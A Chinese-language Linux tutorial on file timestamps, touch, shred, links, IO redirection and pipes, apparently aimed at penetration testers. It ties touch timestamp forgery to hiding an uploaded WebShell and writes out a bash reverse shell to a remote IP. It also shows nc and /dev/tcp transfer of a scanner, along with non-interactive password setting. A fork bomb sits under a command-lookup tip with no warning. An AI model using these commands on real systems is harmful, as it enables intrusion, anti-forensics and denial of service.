# 文件管理和IO重定向

#### 文件管理命令 <a href="#toc1783270922" id="toc1783270922"></a>

**stat命令**

查看文件状态

每个文件有三个时间戳：

```bash
access time    访问时间，atime，读取文件内容
modify time    修性时间，mtime，改变文件内容
change time    改变时间，ctime，元数据发生改变
```

```bash
[root@controller ~]# stat /etc/passwd
  文件："/etc/passwd"
  大小：1366       块：8          IO 块：4096   普通文件
设备：fd00h/64768d Inode：33577573    硬链接：1
权限：(0644/-rw-r--r--)  Uid：(    0/    root)   Gid：(    0/    root)
环境：system_u:object_r:passwd_file_t:s0
最近访问：2021-07-10 02:24:21.759473069 -0400
最近更改：2021-06-14 07:47:23.549736484 -0400
最近改动：2021-06-14 07:47:23.551743477 -0400
创建时间：-
```

场景是：上传了WebShell，避免被find命令通过时间查找出来

**touch命令**

```bash
Ø -a    仅改变atime和ctime
Ø -m    仅改变mtime和ctime
Ø -t    指定atime和mtime时间
```

```bash
touch -a -m -t 202106140747.23 /etc/passwd
 
[root@controller test]# stat /etc/passwd
  文件："/etc/passwd"
  大小：1407       块：8          IO 块：4096   普通文件
设备：fd00h/64768d Inode：34244202    硬链接：1
权限：(0644/-rw-r--r--)  Uid：(    0/    root)   Gid：(    0/    root)
环境：system_u:object_r:passwd_file_t:s0
最近访问：2021-06-14 07:47:23.000000000 -0400
最近更改：2021-06-14 07:47:23.000000000 -0400
最近改动：2021-07-10 03:13:57.488189512 -0400
创建时间：-
```

**rename命令**

```bash
#为所有conf文件加上.bak后缀
rename 'conf' 'conf.bak' *.conf
 
#去掉所有bak后缀
rename '.bak' '' *.bak
```

**删除文件**

```bash
rm删除文件可被恢复
 
可使用shred删除文件无法恢复
shred -zvun 5 pass.txt
 
-z #最后一次覆盖添加0，以隐藏覆盖操作
-v #显示操作进度
-u #覆盖后截断并删除文件
-n #指定覆盖文件内容的次数
rm误删除可以通过extundelete软件恢复，只支持ext4文件系统进行数据恢复
```

**硬链接、软链接**

```bash
#创建硬链接
ln /tmp/passwd /tmp/passwdtest
 
#创建软链接
ln -s /tmp/passwd /tmp/passwdtest
```

硬链接和软链接的区别:

硬链接本质上就是给文件起一个新的名字，实质是同一个文件

软链接本质上不是同一个文件

* Inode
  * 硬链接：相同
  * 软链接：不相同
* 文件夹
  * 硬链接：不支持
  * 软链接：支持
* 删除源文件
  * 硬链接：不受影响
  * 软链接：链接文件，和源文件无关
* 文件大小
  * 硬链接：和源文件相同
  * 软链接：源文件的路径的长度

业务场景：/var/www/php1 -> /usr/local/php\_v1.1 ， 当发布新版本时，在不更改配置文件的情况下，将软链接指定到其它的版本中；

#### IO重定向 <a href="#toc1152608522" id="toc1152608522"></a>

一个 Linux 进程可以打开成百上千个文件，为了表示和区分已经打开的文件，Linux 会给每个文件分配一个编号（一个 ID），这个编号就是一个整数，被称为文件描述符（File Descriptor）。

**标准输入和输出**

Linux提供了三种I/O设备：

| 文件描述符 | 文件名    | 类型       | 硬件  |
| ----- | ------ | -------- | --- |
| 0     | stdin  | 标准输入文件   | 键盘  |
| 1     | stdout | 标准输出文件   | 显示器 |
| 2     | stderr | 标准错误输出文件 | 显示器 |

```bash
[root@controller ~]# ll /dev/std*
lrwxrwxrwx 1 root root 15 7月  10 11:36 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 7月  10 11:36 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 7月  10 11:36 /dev/stdout -> /proc/self/fd/1
```

输出重定向是指命令的结果不再输出到终端上，而是输出到其它地方，一般是文件中。这样做的最大好处就是把命令的结果保存起来

```bash
1> 或 >        把标准输出重定向到文件
2>              把标准错输出重定向到文件1
&               把STDOUT、STDERR都重定向，建议使用上面方式
```

以上重定向如果文件存在则文件内容会被覆盖

```bash
set -C    禁止将内容覆盖，但可追加，利用 >| 仍可强制覆盖
set +C    允许覆盖
>>         追加标准输出重定向至文件
2>>        追加标准错误重定向
```

合并标准输出和错误输出为同一个数据流进行重定向

```bash
&>        覆盖重定向
&>>     追加重定向
```

```bash
#清除大文件
cat /dev/null > /tmp/passwd
 
#分别重定向
ls /data/ /xxx > stdout.log 2> stderror.log
 
#将/etc/issue中的小写都转换为大写
tr 'a-z' 'A-Z' < /etc/issue
 
#删除某个文件中所有abc字符
tr -d abc < /etc/fstab
 
#删除空格
df > df.log
tr -s ' ' < df.log
 
#删除Windows文件中的
tr -d '\r' < windows.txt > windows2.txt
 
#传输工具
nc -lvp 999 < fscan
cat < /dev/tcp/(IP)/(PORT) > fscan
```

**反弹Shell**

```bash
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
```

反弹Shell本质是把bash进程的 0 1 2 输入输出重定向到远程socket，由socket中获取输入，重定向标准输出（1）和错误输出（2）到socket。

* bash -i
  * Bash是linux较为常见的Shell，除此之外，还有zsh、sh、ksh等等，
  * -i 参数表示产生交互式的Shell
* \>&
  * 混合输出，将正确、错误都输出到一个地方，避免受害者机器上能看到在攻击者机器中执行的指令。
* /dev/tcp/ip/port
  * Linux下一切皆文件，可以看成是一个设备文件，这个文件进行读写，就能实现与监听端口的服务器Socket通信。
* 0>&1
  * 0表示输入，就将Attack输入，然后命令执行的结果为1，也会输出给攻击者，就形成了一个回路，实现了远程交互式Shell

#### 管道符 <a href="#toc1588933314" id="toc1588933314"></a>

Shell 还有一种功能，就是可以将两个或者多个命令（程序或者进程）连接到一起，把一个命令的输出作为下一个命令的输入，以这种方式连接的两个或者多个命令就形成了管道（pipe）。

Linux 管道使用竖线|连接多个命令，这被称为管道符。

```bash
cat /etc/passwd|grep root
```

当在两个命令设置管道时，管道符 ｜ 左边命令的输出就变成了右边命令的输入，Linux大部分命令都可以用来形成管道；

重定向和管道的区别？

重定向操作符 “>” 将命令与文件连接起来

而管道符 “｜” 将命令与命令连接起来

&#x20;

例如在无交换式的情况下添加root帐号密码；

```bash
#无交互设置密码
cat pass.txt | passwd --stdin ccav1
echo "ccide:password" |chpasswd
```

Tips：

遇到不懂的命令怎么办？

:(){ :|:& };:

可以通过这个网站解析语法：<https://www.explainshell.com/>

&#x20;
